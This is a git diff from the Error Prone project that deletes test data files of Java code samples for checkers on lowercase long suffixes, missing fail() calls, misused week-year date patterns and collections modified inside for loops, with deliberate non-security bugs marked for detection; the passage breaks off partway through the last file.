a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/LongLiteralLowerCaseSuffixPositiveCase2.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/LongLiteralLowerCaseSuffixPositiveCase2.java deleted file mode 100644 index 96333caabf6..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/LongLiteralLowerCaseSuffixPositiveCase2.java +++ /dev/null @@ -1,31 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** Positive cases for {@link LongLiteralLowerCaseSuffix}. */ -public class LongLiteralLowerCaseSuffixPositiveCase2 { - - // This constant string includes non-ASCII characters to make sure that we're not confusing - // bytes and chars: - @SuppressWarnings("unused") - private static final String TEST_STRING = "Îñţérñåţîöñåļîžåţîờñ"; - - public void underscoredLowerCase() { - // BUG: Diagnostic contains: value = 0_1__2L - long value = 0_1__2l; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MissingFailNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MissingFailNegativeCases.java deleted file mode 100644 index ff923586ea4..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MissingFailNegativeCases.java +++ /dev/null @@ -1,478 +0,0 @@ -/* - * Copyright 2015 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.util.HashMap; -import java.util.Map; -import junit.framework.AssertionFailedError; -import junit.framework.Test; -import junit.framework.TestCase; -import org.junit.After; -import org.junit.Assert; -import org.junit.Before; -import org.mockito.Mockito; - -/** Test cases for missing fail */ -public class MissingFailNegativeCases extends TestCase { - - private static final Logger logger = new Logger(); - private static final Logger log = new Logger(); - private static final Logger thingThatLogs = new Logger(); - - private boolean foo = true; - - public void expectedException_withFail() { - try { - dummyMethod(); - Assert.fail(); - } catch (Exception expected) { - } - } - - @SuppressWarnings("deprecation") // Need to recognize a framework call but don't want a warning. - public void expectedException_withFrameworkFail() { - try { - dummyMethod(); - junit.framework.Assert.fail(); - } catch (Exception expected) { - } - } - - public void expectedException_withStaticFail() { - try { - dummyMethod(); - fail(); - } catch (Exception expected) { - } - } - - public void expectedException_returnInTry() { - try { - dummyMethod(); - return; - } catch (Exception expected) { - } - } - - public void expectedException_returnInCatch() { - try { - dummyMethod(); - } catch (Exception expected) { - return; - } - } - - public void expectedException_returnAfterCatch() { - try { - dummyMethod(); - } catch (Exception expected) { - } - return; - } - - public void expectedException_throwInCatch() throws Exception { - try { - dummyMethod(); - } catch (Exception expected) { - throw new Exception(); - } - } - - public void expectedException_throwInTry() throws Exception { - boolean foo = false; - try { - if (foo) { - throw new Exception(); - } - dummyMethod(); - } catch (Exception expected) { - } - } - - public void expectedException_throwSynonymInCatch() throws Exception { - try { - dummyMethod(); - } catch (Exception expected) { - Assert.assertFalse(true); - } - } - - public void assertInCatch_testCaseThrowSynonymInCatch() throws Exception { - try { - dummyMethod(); - } catch (Exception e) { - assertFalse(true); - } - } - - public void expectedException_throwSynonymInTry() throws Exception { - boolean foo = false; - try { - if (foo) { - Assert.assertFalse(true); - } - dummyMethod(); - } catch (Exception expected) { - } - } - - public void expectedException_assertTrueFalse() throws Exception { - try { - dummyMethod(); - } catch (Exception expected) { - Assert.assertTrue(false); - } - } - - public void expectedException_assertTrueFalseWithMessage() throws Exception { - try { - dummyMethod(); - } catch (Exception expected) { - Assert.assertTrue("This should never happen", false); - } - } - - public void expectedException_testCaseAssertTrueFalseWithMessage() throws Exception { - try { - dummyMethod(); - } catch (Exception expected) { - assertTrue("This should never happen", false); - } - } - - public void assertInCatch_assertTrueFalseWithMessage() throws Exception { - try { - dummyMethod(); - } catch (Exception e) { - Assert.assertTrue("This should never happen", false); - } - } - - public void expectedException_assertBoxedTrueFalse() throws Exception { - try { - dummyMethod(); - } catch (Exception expected) { - Assert.assertTrue(Boolean.FALSE); - } - } - - public void expectedException_assertUnequal() throws Exception { - try { - dummyMethod(); - } catch (Exception expected) { - Assert.assertEquals(1, 2); - } - } - - public void expectedException_testCaseAssertUnequal() throws Exception { - try { - dummyMethod(); - } catch (Exception expected) { - assertEquals(1, 2); - } - } - - public void expectedException_assertFalse() throws Exception { - try { - dummyMethod(); - } catch (Exception expected) { - assert (false); - } - } - - @Before - public void expectedException_beforeAnnotation() throws Exception { - try { - dummyMethod(); - } catch (Exception expected) { - } - } - - @After - public void expectedException_afterAnnotation() throws Exception { - try { - dummyMethod(); - } catch (Exception expected) { - } - } - - // Don't match setUp methods. - public void setUp() throws Exception { - try { - dummyMethod(); - } catch (Exception expected) { - } - } - - // Don't match tearDown methods. - public void tearDown() throws Exception { - try { - dummyMethod(); - } catch (Exception expected) { - } - } - - // Don't match main methods. - public static void main(String[] args) throws Exception { - try { - dummyMethod(); - } catch (Exception expected) { - } - } - - // Don't match suite methods. - public static Test suite() throws Exception { - try { - dummyMethod(); - } catch (Exception expected) { - } - int x; // Don't return right after catch so as not to trigger that exclusion. - return null; - } - - public void expectedException_interruptedException() throws Exception { - try { - dummyMethod(); - } catch (InterruptedException expected) { - } - } - - public void expectedException_assertionError() throws Exception { - try { - dummyMethod(); - } catch (AssertionError expected) { - } - } - - public void expectedException_assertionFailedError() throws Exception { - try { - dummyMethod(); - } catch (AssertionFailedError expected) { - } - } - - public void expectedException_throwable() throws Exception { - try { - dummyMethod(); - } catch (Throwable expected) { - } - } - - public void testExpectedException_loopInTestMethod() throws Exception { - for (int i = 0; i < 2; i++) { - try { - dummyMethod(); - } catch (Exception expected) { - } - } - } - - public void expectedException_loopInHelperMethod() throws Exception { - for (int i = 0; i < 2; i++) { - try { - dummyMethod(); - } catch (Exception expected) { - } - } - } - - public static Map assertInCatch_loopInHelperMethod(String... strings) { - Map map = new HashMap<>(); - for (String s : strings) { - try { - map.put(s, s); - } catch (Exception e) { - Assert.assertTrue(s.contains("foo")); - } - } - return map; - } - - // prefixed with "test" but private - not a test method. - private void testExpectedException_loopInPrivateTestHelperMethod() throws Exception { - for (int i = 0; i < 2; i++) { - try { - dummyMethod(); - } catch (Exception expected) { - } - } - } - - // prefixed with "test" but returns - not a test method. - public String testExpectedException_loopInReturningTestHelperMethod() throws Exception { - for (int i = 0; i < 2; i++) { - try { - dummyMethod(); - } catch (Exception expected) { - } - } - return ""; - } - - // Prefixed with "test" to not trigger loop in helper method exclusion. - public void testExpectedException_continueInCatch() throws Exception { - for (int i = 0; i < 2; i++) { - try { - dummyMethod(); - } catch (Exception expected) { - continue; - } - } - } - - // Prefixed with "test" to not trigger loop in helper method exclusion. - public void testExpectedException_continueInTry() throws Exception { - for (int i = 0; i < 2; i++) { - try { - dummyMethod(); - continue; - } catch (Exception expected) { - } - } - } - - public void expectedException_finally() { - try { - dummyMethod(); - } catch (Exception expected) { - } finally { - } - } - - public void expectedException_logInCatch() { - try { - dummyMethod(); - } catch (Exception expected) { - thingThatLogs.log(); - } - } - - public void expectedException_loggerCallInCatch() { - try { - dummyMethod(); - } catch (Exception expected) { - logger.info(); - } - } - - public void expectedException_logCallInCatch() { - try { - dummyMethod(); - } catch (Exception expected) { - log.info(); - } - } - - public void assertInCatch_assertLastCallInTry() { - try { - dummyMethod(); - assertDummy(); - } catch (Exception e) { - assertDummy(); - } - } - - public void assertInCatch_fieldAssignmentInCatch() { - try { - dummyMethod(); - } catch (Exception e) { - assertDummy(); - foo = true; - } - } - - public void assertInCatch_assertOnFieldInCatch() { - try { - dummyMethod(); - } catch (Exception e) { - Assert.assertTrue(foo); - } - } - - public void assertInCatch_assertOnVariableInCatch() { - boolean bar = false; - try { - dummyMethod(); - } catch (Exception e) { - Assert.assertTrue(bar); - } - } - - public void assertInCatch_verifyBeforeCatch() { - try { - dummyMethod(); - Mockito.verify(new Dummy()).dummy(); - } catch (Exception e) { - assertDummy(); - } - } - - public void assertInCatch_noopAssertInCatch() { - try { - dummyMethod(); - } catch (Exception e) { - assertTrue(true); - } - } - - public void expectedException_failInCatch() { - try { - dummyMethod(); - } catch (Exception expected) { - Assert.fail(); - } - } - - public void expectedException_whileTrue() { - try { - while (true) { - dummyMethod(); - } - } catch (Exception expected) { - } - } - - public void expectedException_customFail() { - try { - dummyMethod(); - specialFail(); - } catch (Exception expected) { - } - } - - private static void dummyMethod() throws InterruptedException {} - - private static void assertDummy() {} - - private static void specialFail() {} - - private static class Logger { - - void log() {} - ; - - void info() {} - ; - } - - private static class Dummy { - - String dummy() { - return ""; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MissingFailNegativeCases2.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MissingFailNegativeCases2.java deleted file mode 100644 index fcd7ce8eb37..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MissingFailNegativeCases2.java +++ /dev/null @@ -1,40 +0,0 @@ -/* - * Copyright 2015 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** Test cases for missing fail in a non-test class */ -public class MissingFailNegativeCases2 { - - public void expectedException_emptyCatch() { - try { - dummyMethod(); - } catch (Exception expected) { - } - } - - public void catchAssert() { - try { - dummyMethod(); - } catch (Exception e) { - assertDummy(); - } - } - - private static void dummyMethod() {} - - private static void assertDummy() {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MissingFailPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MissingFailPositiveCases.java deleted file mode 100644 index d463bb9c6cf..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MissingFailPositiveCases.java +++ /dev/null @@ -1,154 +0,0 @@ -/* - * Copyright 2015 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import junit.framework.TestCase; -import org.junit.Assert; -import org.mockito.Mockito; - -/** Test cases for missing fail */ -public class MissingFailPositiveCases extends TestCase { - - private boolean foo = true; - - public void expectedException_emptyCatch() { - try { - // BUG: Diagnostic contains: fail() - dummyMethod(); - } catch (Exception expected) { - } - } - - public void catchAssert() { - try { - // BUG: Diagnostic contains: fail() - dummyMethod(); - } catch (Exception e) { - assertDummy(); - } - } - - public void catchVerify() { - try { - // BUG: Diagnostic contains: fail() - dummyMethod(); - } catch (Exception e) { - verifyDummy(); - } - } - - public void expectedException_throwOutsideTryTree() throws Exception { - try { - // BUG: Diagnostic contains: fail() - dummyMethod(); - } catch (Exception expected) { - } - throw new Exception(); - } - - public void expectedException_assertLastCall() throws Exception { - try { - dummyMethod(); - // BUG: Diagnostic contains: fail() - assertDummy(); - } catch (Exception expected) { - } - throw new Exception(); - } - - public void expectedException_fieldAssignmentInCatch() { - try { - // BUG: Diagnostic contains: fail() - dummyMethod(); - } catch (Exception expected) { - foo = true; - } - } - - public void catchAssert_noopAssertLastCall() { - try { - dummyMethod(); - // BUG: Diagnostic contains: fail() - Assert.assertTrue(true); - } catch (Exception e) { - assertDummy(); - } - } - - public void assertInCatch_verifyNotLastStatement() { - try { - Mockito.verify(new Dummy()).dummy(); - // BUG: Diagnostic contains: fail() - dummyMethod(); - } catch (Exception e) { - assertDummy(); - } - } - - public void assertInCatch_verifyInCatch() { - try { - // BUG: Diagnostic contains: fail() - dummyMethod(); - } catch (Exception e) { - assertDummy(); - Mockito.verify(new Dummy()).dummy(); - } - } - - public void expectedException_logInTry() { - try { - new Logger().log(); - // BUG: Diagnostic contains: fail() - dummyMethod(); - } catch (Exception expected) { - foo = true; - } - } - - /** Sameple inner class. */ - public static class Inner { - public void expectedException_emptyCatch() { - try { - // BUG: Diagnostic contains: fail() - dummyMethod(); - } catch (Exception expected) { - } - } - } - - private static class Dummy { - - String dummy() { - return ""; - } - } - - private static class Logger { - - void log() {} - ; - - void info() {} - ; - } - - private static void dummyMethod() {} - - private static void assertDummy() {} - - private static void verifyDummy() {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MissingFailPositiveCases2.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MissingFailPositiveCases2.java deleted file mode 100644 index 0f71be20de0..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MissingFailPositiveCases2.java +++ /dev/null @@ -1,47 +0,0 @@ -/* - * Copyright 2015 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -// unused import to make sure we don't introduce an import conflict. - -import org.junit.Test; -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** Test cases for missing fail */ -@RunWith(JUnit4.class) -public class MissingFailPositiveCases2 { - - @Test - public void expectedException() { - try { - // BUG: Diagnostic contains: fail() - dummyMethod(); - } catch (Exception expected) { - } - } - - public void expectedException_helperMethod() { - try { - // BUG: Diagnostic contains: fail() - dummyMethod(); - } catch (Exception expected) { - } - } - - private static void dummyMethod() {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MissingFailPositiveCases3.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MissingFailPositiveCases3.java deleted file mode 100644 index e94ebaf61b6..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MissingFailPositiveCases3.java +++ /dev/null @@ -1,48 +0,0 @@ -/* - * Copyright 2015 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import junit.framework.TestCase; - -/** Examples of an inner test case. */ -public class MissingFailPositiveCases3 { - - /** Sample inner class. */ - public static class Inner extends TestCase { - - public void expectedException_emptyCatch() { - try { - // BUG: Diagnostic contains: fail() - dummyMethod(); - } catch (Exception expected) { - } - } - - public void catchAssert() { - try { - // BUG: Diagnostic contains: fail() - dummyMethod(); - } catch (Exception e) { - assertDummy(); - } - } - } - - private static void dummyMethod() {} - - private static void assertDummy() {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MisusedWeekYearNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MisusedWeekYearNegativeCases.java deleted file mode 100644 index 3c135870c04..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MisusedWeekYearNegativeCases.java +++ /dev/null @@ -1,60 +0,0 @@ -/* - * Copyright 2015 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.text.DateFormatSymbols; -import java.text.SimpleDateFormat; -import java.util.Locale; - -public class MisusedWeekYearNegativeCases { - void testLiteralPattern() { - SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd"); - simpleDateFormat = new SimpleDateFormat("MM-dd"); - simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd", DateFormatSymbols.getInstance()); - simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd", Locale.getDefault()); - - // Don't flag if the pattern contains "ww", the week-in-year specifier. - simpleDateFormat = new SimpleDateFormat("YYYY-ww"); - simpleDateFormat = new SimpleDateFormat("YY-ww"); - simpleDateFormat = new SimpleDateFormat("Y-ww"); - simpleDateFormat = new SimpleDateFormat("Yw"); - } - - void testLiteralPatternWithFolding() { - SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy" + "-MM-dd"); - } - - private static final String WEEK_YEAR_PATTERN = "yyyy-MM-dd"; - - void testConstantPattern() { - SimpleDateFormat simpleDateFormat = new SimpleDateFormat(WEEK_YEAR_PATTERN); - } - - private static class MySimpleDateFormat extends SimpleDateFormat { - public MySimpleDateFormat(String pattern) { - super(pattern); - } - } - - // Don't match on subtypes, since we don't know what their applyPattern and - // applyLocalizedPattern methods might do. - void testSubtype() { - MySimpleDateFormat mySdf = new MySimpleDateFormat("YYYY-MM-dd"); - mySdf.applyPattern("YYYY-MM-dd"); - mySdf.applyLocalizedPattern("YYYY-MM-dd"); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MisusedWeekYearPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MisusedWeekYearPositiveCases.java deleted file mode 100644 index 073456954f0..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MisusedWeekYearPositiveCases.java +++ /dev/null @@ -1,110 +0,0 @@ -/* - * Copyright 2015 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.text.DateFormatSymbols; -import java.text.SimpleDateFormat; -import java.util.Locale; - -public class MisusedWeekYearPositiveCases { - void testConstructorWithLiteralPattern() { - // BUG: Diagnostic contains: new SimpleDateFormat("yyyy-MM-dd") - SimpleDateFormat simpleDateFormat = new SimpleDateFormat("YYYY-MM-dd"); - - // BUG: Diagnostic contains: new SimpleDateFormat("yy-MM-dd") - simpleDateFormat = new SimpleDateFormat("YY-MM-dd"); - - // BUG: Diagnostic contains: new SimpleDateFormat("y-MM-dd") - simpleDateFormat = new SimpleDateFormat("Y-MM-dd"); - - // BUG: Diagnostic contains: new SimpleDateFormat("yyyyMMdd_HHmm") - simpleDateFormat = new SimpleDateFormat("YYYYMMdd_HHmm"); - - // BUG: Diagnostic contains: new SimpleDateFormat("yyyy-MM-dd", DateFormatSymbols.getInstance()) - simpleDateFormat = new SimpleDateFormat("YYYY-MM-dd", DateFormatSymbols.getInstance()); - - // BUG: Diagnostic contains: new SimpleDateFormat("yyyy-MM-dd", Locale.getDefault()) - simpleDateFormat = new SimpleDateFormat("YYYY-MM-dd", Locale.getDefault()); - } - - void testConstructorWithLiteralPatternWithFolding() { - // TODO(eaftan): javac has a bug in that when it folds string literals, the start position of - // the folded string literal node is set as the start position of the + operator. We have - // fixed this in our internal javac, but haven't pushed the change to our external javac mirror. - // We should push that fix to the javac mirror repo, and then we can test that the suggested - // fix offered here is correct ("yyyy-MM-dd"). - // BUG: Diagnostic contains: - SimpleDateFormat simpleDateFormat = new SimpleDateFormat("YYYY" + "-MM-dd"); - } - - private static final String WEEK_YEAR_PATTERN = "YYYY"; - - private static final String WEEK_YEAR_PATTERN_2 = "YY"; - - private static final String WEEK_YEAR_PATTERN_3 = "Y"; - - void testConstructorWithConstantPattern() { - // BUG: Diagnostic contains: - SimpleDateFormat simpleDateFormat = new SimpleDateFormat(WEEK_YEAR_PATTERN); - } - - void testConstructorWithConstantPattern2() { - // BUG: Diagnostic contains: - SimpleDateFormat simpleDateFormat = new SimpleDateFormat(WEEK_YEAR_PATTERN_2); - } - - void testConstructorWithConstantPattern3() { - // BUG: Diagnostic contains: - SimpleDateFormat simpleDateFormat = new SimpleDateFormat(WEEK_YEAR_PATTERN_3); - } - - void testConstructorWithConstantPatternWithFolding() { - // BUG: Diagnostic contains: - SimpleDateFormat simpleDateFormat = new SimpleDateFormat(WEEK_YEAR_PATTERN + "-MM-dd"); - } - - void testConstructorWithConstantPatternWithFolding2() { - // BUG: Diagnostic contains: - SimpleDateFormat simpleDateFormat = new SimpleDateFormat(WEEK_YEAR_PATTERN_2 + "-MM-dd"); - } - - void testConstructorWithConstantPatternWithFolding3() { - // BUG: Diagnostic contains: - SimpleDateFormat simpleDateFormat = new SimpleDateFormat(WEEK_YEAR_PATTERN_3 + "-MM-dd"); - } - - void testApplyPatternAndApplyLocalizedPatternWithLiteralPattern() { - SimpleDateFormat sdf = new SimpleDateFormat(); - // BUG: Diagnostic contains: sdf.applyPattern("yyyy-MM-dd") - sdf.applyPattern("YYYY-MM-dd"); - // BUG: Diagnostic contains: sdf.applyLocalizedPattern("yyyy-MM-dd") - sdf.applyLocalizedPattern("YYYY-MM-dd"); - } - - void testApplyPatternAndApplyLocalizedPatternWithConstantPattern() { - SimpleDateFormat sdf = new SimpleDateFormat(); - // BUG: Diagnostic contains: - sdf.applyPattern(WEEK_YEAR_PATTERN); - // BUG: Diagnostic contains: - sdf.applyLocalizedPattern(WEEK_YEAR_PATTERN); - } - - void testDateTimeFormatter() { - // BUG: Diagnostic contains: - java.time.format.DateTimeFormatter.ofPattern(WEEK_YEAR_PATTERN); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MisusedWeekYearPositiveCases2.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MisusedWeekYearPositiveCases2.java deleted file mode 100644 index 62164f0af7f..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/MisusedWeekYearPositiveCases2.java +++ /dev/null @@ -1,54 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.ibm.icu.text.DateFormatSymbols; -import com.ibm.icu.text.SimpleDateFormat; -import com.ibm.icu.util.ULocale; -import java.util.Locale; - -/** Tests for {@link com.ibm.icu.text.SimpleDateFormat}. */ -public class MisusedWeekYearPositiveCases2 { - - void testConstructors() { - // BUG: Diagnostic contains: new SimpleDateFormat("yyyy-MM-dd") - SimpleDateFormat sdf = new SimpleDateFormat("YYYY-MM-dd"); - - // BUG: Diagnostic contains: - sdf = new SimpleDateFormat("YYYY-MM-dd", DateFormatSymbols.getInstance()); - - // BUG: Diagnostic contains: - sdf = new SimpleDateFormat("YYYY-MM-dd", DateFormatSymbols.getInstance(), ULocale.CANADA); - - // BUG: Diagnostic contains: - sdf = new SimpleDateFormat("YYYY-MM-dd", Locale.getDefault()); - - // BUG: Diagnostic contains: - sdf = new SimpleDateFormat("YYYY-MM-dd", "", ULocale.CANADA); - - // BUG: Diagnostic contains: - sdf = new SimpleDateFormat("YYYY-MM-dd", ULocale.CANADA); - } - - void testApplyPatternAndApplyLocalizedPattern() { - SimpleDateFormat sdf = new SimpleDateFormat(); - // BUG: Diagnostic contains: sdf.applyPattern("yyyy-MM-dd") - sdf.applyPattern("YYYY-MM-dd"); - // BUG: Diagnostic contains: - sdf.applyLocalizedPattern("YYYY-MM-dd"); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ModifyCollectionInEnhancedForLoopNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ModifyCollectionInEnhancedForLoopNegativeCases.java deleted file mode 100644 index 280657729bb..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ModifyCollectionInEnhancedForLoopNegativeCases.java +++ /dev/null @@ -1,111 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except - * in compliance with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software distributed under the License - * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express - * or implied. See the License for the specific language governing permissions and limitations under - * the License. - */ - -package com.google.errorprone.bugpatterns; - -import java.util.ArrayList; -import java.util.HashMap; -import java.util.HashSet; -import java.util.LinkedList; -import java.util.Map; -import java.util.concurrent.BlockingQueue; -import java.util.concurrent.CopyOnWriteArrayList; - -/** - * @author anishvisaria98@gmail.com (Anish Visaria) - */ -public class ModifyCollectionInEnhancedForLoopNegativeCases { - - public static void testBasic(ArrayList arr, HashSet set) { - for (Integer a : arr) { - set.add(a); - set.addAll(arr); - set.clear(); - set.removeAll(arr); - set.retainAll(arr); - } - - for (Integer i : set) { - arr.add(i); - arr.addAll(set); - arr.clear(); - arr.removeAll(set); - arr.retainAll(set); - } - } - - public static void testNested(ArrayList arr, LinkedList list) { - for (Integer x : arr) { - for (Integer y : list) {} - - list.add(x); - list.addAll(arr); - list.clear(); - list.removeAll(arr); - list.retainAll(arr); - } - } - - public static void testBreakOutOfLoop(ArrayList xs) { - for (Integer x : xs) { - xs.remove(x); - return; - } - for (Integer x : xs) { - xs.remove(x); - System.err.println(); - break; - } - } - - public static void testMapKeySet(HashMap map1, HashMap map2) { - for (Integer a : map1.keySet()) { - map2.putIfAbsent(Integer.parseInt("42"), Integer.parseInt("43")); - map2.clear(); - map2.remove(a); - } - } - - public static void testMapValues(HashMap map1, HashMap map2) { - for (Integer a : map1.values()) { - map2.putIfAbsent(Integer.parseInt("42"), a); - map2.clear(); - map2.remove(Integer.parseInt("42")); - } - } - - public static void testMapEntrySet( - HashMap map1, HashMap map2) { - for (Map.Entry a : map1.entrySet()) { - map2.putIfAbsent(Integer.parseInt("42"), Integer.parseInt("43")); - map2.clear(); - map2.remove(a.getKey()); - } - } - - private static void concurrent() { - CopyOnWriteArrayList cowal = new CopyOnWriteArrayList<>(); - for (int i : cowal) { - cowal.remove(i); - } - } - - interface MyBlockingQueue extends BlockingQueue {} - - private static void customConcurrent(MyBlockingQueue mbq) { - for (Integer i : mbq) { - mbq.add(i); - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ModifyCollectionInEnhancedForLoopPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ModifyCollectionInEnhancedForLoopPositiveCases.java deleted file mode 100644 index ec28af1bdaa..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ModifyCollectionInEnhancedForLoopPositiveCases.java +++ /dev/null @@ -1,108 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except - * in compliance with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software distributed under the License - * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express - * or implied. See the License for the specific language governing permissions and limitations under - * the License. - */ - -package com.google.errorprone.bugpatterns; - -import java.util.ArrayList; -import java.util.HashMap; -import java.util.HashSet; -import java.util.LinkedList; -import java.util.Map; - -/** - * @author anishvisaria98@gmail.com (Anish Visaria) - */ -public class ModifyCollectionInEnhancedForLoopPositiveCases { - - public static void testBasic(ArrayList arr, HashSet set) { - for (Integer a : arr) { - // BUG: Diagnostic contains: - arr.add(new Integer("42")); - // BUG: Diagnostic contains: - arr.addAll(set); - // BUG: Diagnostic contains: - arr.clear(); - // BUG: Diagnostic contains: - arr.remove(a); - // BUG: Diagnostic contains: - arr.removeAll(set); - // BUG: Diagnostic contains: - arr.retainAll(set); - } - } - - public static void testNested(ArrayList arr, LinkedList list) { - for (Integer x : arr) { - for (Integer y : list) { - // BUG: Diagnostic contains: - arr.add(y); - // BUG: Diagnostic contains: - arr.addAll(list); - // BUG: Diagnostic contains: - arr.clear(); - // BUG: Diagnostic contains: - 